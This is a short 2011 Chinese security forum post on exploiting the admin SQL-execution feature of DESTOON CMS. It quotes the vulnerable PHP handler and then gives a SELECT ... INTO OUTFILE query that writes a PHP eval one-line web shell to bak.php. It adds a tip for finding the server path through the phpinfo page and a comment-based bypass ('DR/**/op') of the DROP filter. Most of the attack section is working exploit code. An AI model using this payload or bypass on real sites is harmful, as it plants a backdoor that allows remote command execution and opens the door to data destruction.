本帖最后由 Micropoor 于 2011-10-19 00:50 编辑
http://t.qq.com/MakeBug
http://hi.baidu.com/micropoor
出贴原因见:http://www.90sec.org/redirect.php?tid=310&goto=lastpost
[原受限内容,迁入私密分类]
// 参考(DESTOON CMS 注入与包含篇)
// \destoon\admin\database.inc.php
case 'execute':
if(!isset($CFG['executesql']) || !$CFG['executesql']) msg('系统禁止了执行SQL,请FTP修改根目录config.inc.php<br/>$CFG[\'executesql\'] = \'0\'; 修改为 $CFG[\'executesql\'] = \'1\';');
if($submit) {
if(trim($sql) == '') {
msg('SQL语句为空');
} else {
$sql = stripslashes($sql);
if(preg_match("/DROP(.*)(TABLE|DATABASE)/i", $sql)) msg('系统禁止DROP语句');
sql_execute($sql);
dmsg('执行成功', '?file='.$file.'&action=execute');
}
} else {
include tpl('database_execute');
}
break;
国际问题,利用方法:
[原受限内容,迁入私密分类]
select '
<?php eval($_POST[cmd]);?>
' into outfile '路径/bak.php';
//至于路径问题:http://127.0.0.1/admin.php?action=phpinfo
其他利用:DR/**/op